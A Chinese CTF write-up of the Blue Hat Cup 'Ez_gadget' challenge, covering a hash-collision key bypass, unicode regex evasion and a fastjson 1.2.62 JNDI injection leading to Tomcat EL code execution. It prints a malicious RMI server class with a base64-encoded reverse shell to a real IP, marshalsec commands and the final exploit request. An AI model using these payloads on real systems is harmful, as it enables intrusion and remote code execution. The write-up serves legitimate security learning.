[蓝帽杯]Ez_gadget

  • fastjson

赛后复现:

利用题目给的jar包开一个环境

Untitled

审计

可以首先看一下依赖包里面,可以发现存在fastjson1.2.62依赖和Tomcat依赖,而fastjson1.2.62的漏洞百度一下可以发现payload

{“@type”:”org.apache.xbean.propertyeditor.JndiConverter”,”AsText”:”rmi://127.0.0.1:1099/exploit”}

https://www.cnblogs.com/tr1ple/p/12348886.html

Untitled

存在一个secretkey,在json路由下可以发现存在JSON反序列化,并且设置了ParserConfig.getGlobalInstance().setAutoTypeSupport(true); ,说明可以利用@type 实现fastjson反序列化漏洞,但是if语句看一下可以发现存在hash碰撞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
publicclass JSONController {
@ResponseBody
@RequestMapping({"/"})
public String hello() {
return "Your key is:" + secret.getKey();
}

@ResponseBody
@RequestMapping({"/json"})
public String Unserjson(@RequestParam String str, @RequestParam String input)throws Exception {
if (str !=null &&
Objects.hashCode(str) == secret.getKey().hashCode() && !secret.getKey().equals(str)) {
String pattern = ".*rmi.*|.*jndi.*|.*ldap.*|.*\\\\\\\\x.*";
Pattern p = Pattern.compile(pattern, 2);
boolean StrMatch = p.matcher(input).matches();
if (StrMatch)
return "Hacker get out!!!";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(input);
}
return "hello";
}
}

https://stackoverflow.com/questions/12925988/how-to-generate-strings-that-share-the-same-hashcode-in-java

1
2
3
4
5
6
7
8
9
10
11
12
  public static String samehash(String s, int level) {
if (s.length() < 2)
return s;
String sub2 = s.substring(0, 2);
char c0 = sub2.charAt(0);
char c1 = sub2.charAt(1);
c0 = (char) (c0 + level);
c1 = (char) (c1 - 31 * level);
String newsub2 = new String(new char[] { c0, c1 });
String re = newsub2 + s.substring(2);
return re;
}

存在正则匹配,从而存在过滤,但是可以利用unicode加密绕过

过滤:String pattern = ".*rmi.*|.*jndi.*|.*ldap.*|.*\\\\\\\\x.*";

踩坑1

因为ParserConfig.getGlobalInstance().setAutoTypeSupport(true); 打开了autotype,所有存在fastjson1.2.62的RCE,那就直接利用marshalsec 开一个ladp服务,并在vps某个目录下放一个恶意类,用python开服务命令如下:

python:

python3 -m http.server —bind 0.0.0.0 8888

marshalsec:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer ‘http://your_ip:8888/#Exploit'

payload:

{“@type”:”org.apache.xbean.propertyeditor.JndiConverter”,”AsText”:”rmi://ip:1099/exploit”}

但是发现虽然接收到了但是没有转到我们的恶意类那边,没有打开codebase

QQ图片20220710193008.png

踩坑2

因为org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,用的是SUS的exp

打包成jar包之后放到vps上执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package other;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Tomc {
public static void main(String[] args) throws Exception {
int rmi_port = 9999;
System.setProperty("java.rmi.server.hostname", "82.156.2.166");
System.out.println(System.getProperty("java.rmi.server.hostname"));
// String command ="\\"\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"JavaScript\\").eval(\\"\\")";
String cmd = "java.lang.Runtime.getRuntime().exec(\\"bash -c {echo,YmFzaCUyMC1pJTIwJTNFJTI2L2Rldi90Y3AvODIuMTU2LjIuMTY2LzIzMzclMjAwJTNFJTI2MQ==}|{base64,-d}|{bash,-i}\\");";
String command = "\\"\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"JavaScript\\").eval(\\""+cmd+"\\")";
Registry registry = LocateRegistry.createRegistry(rmi_port);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
ref.add(new StringRefAddr("KINGX", command));

ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
}
}

但是不知道为什么弹shell没有成功

本地复现

https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/

把Tomc类中的payload进行修改

1
String cmd = "new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()";

执行Tomc类,开启RMI服务

payload:

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.xbean.propertyeditor.JndiConverter;

public class TomcatAttack {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// JndiConverter
String s = "{\\"@type\\":\\"org.apache.xbean.propertyeditor.JndiConverter\\",\\"AsText\\":\\"rmi://127.0.0.1:1558/Exploit\\"}";
JSON.parseObject(s);
}
}

发现虽然报错了但是还是执行了

开服务:

java -jar .\ezgadget.jar

Untitled

RMI & Registry

Untitled

执行:

Untitled

分析

EL表达式

https://blog.csdn.net/weixin_45890771/article/details/123096972

本地开服务

自己复现之后,发现最关键的问题居然是exec里面的命令必须要用单引号包裹(?)为什么呢

跟了一下发现居然只是因为双引号闭合了导致命令出错了,为什么别人可以啊可恶!!!!

Untitled

Untitled

好吧还是把整个过程走一遍,就当记录学习过程了

直接利用本地的payload打断点开始调试,这里我们反序列化的函数和题目一样利用JSON.parseObject

前面和之前分析过的一样,进入到了DefaultJSONParser#parseObject ,绕过解析空格之类的特殊字符,并获取@type

因为开启了autotype,会直接获取typeName并进行实例化

Untitled

并在后面利用对传入的payload进行了反序列化

Untitled

之后调用到DefaultFieldDeserializer#parseField ,对属性的值进行赋值,从而调用到了DefaultFieldDeserializer#setValue 也就相当于调用了setter将rmi的payload赋值给AsText

Untitled

AbstractConverter#setAsText 中会调用到toObject ,这应该就是关键点了

1
2
3
public final void setAsText(String text) {
Object value = this.toObject(text.trim());
super.setValue(value);

继续跟进之后发现,在之后调用到JndiConverter#toObjectImpl 的时候会调用到关键的lookup,而参数又是我们传进入的rmi

Untitled

进到了exp开启的注册服务,并搜索到绑定了存在任意命令类的Exploit

Untitled

之后通过Reference类从开启的注册服务中获取到了我们存放好的恶意类,并读取了其内容也就是包裹着命令执行的字符串(或许说是EL表达式),之后通过循环判断key,从而获取内容。当type为不可知的时候,就会调用到ELProcessor#eval 函数执行content从而实现了任意代码执行

Untitled

Untitled

而至于为什么赛时没有出结果,是因为payload中一直用到是双引号,但是由于eval中也用了双引号了包裹代码,导致发生了闭合从而不能识别整段代码,当然,我还是不能理解为什么当时的环境就连没有unicode的情况下还是没有任何回显

Untitled

更新-远程复现

之前虽然本地打通了,但是把环境简单部署到CTFD的时候,并没有复现成功,最近参加了羊城杯发现了问题所在,重新复现一下!但由于实验室网进不去,就部署在了自己的服务器上

image-20220906191751340

前面就根据hash碰撞得到对应的字符串OSpA4iEYU8Winr4X

利用https://github.com/welk1n/JNDI-Injection-Bypass工具,开服务

1
java -cp JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMIServer ip

image-20220906191958901

看过工具源码可以知道如果是EL和Groovy的话会对直接构造反弹shell payload,直接监听5555端口

最终payload:

1
json?str=OSpA4iEYU8Winr4X&input=%7B%22%40type%22%3A%22org.apache.xbean.propertyeditor.%5Cu004a%5Cu006e%5Cu0064%5Cu0069Converter%22%2C%22AsText%22%3A%22%5Cu0072%5Cu006d%5Cu0069%3A%2F%2Fip%3A1097%2FExecByEL%22%7D

image-20220906192123824

小记

有时候总会过度依赖别人,虽然会自己去验证一些事,但是如果遇到了看起来难以解决的问题的时候就会寄希望于其他人,完全否定了自己的能力……

希望自己能够坚持学习,找到志同道合的web手这种事就随缘吧,现在也挺好的,虽然进度可能比较慢但是至少不会经常在乎别人的想法

并且战队和固定小队里的师傅那么厉害,难免会有点焦虑,也算是一种动力……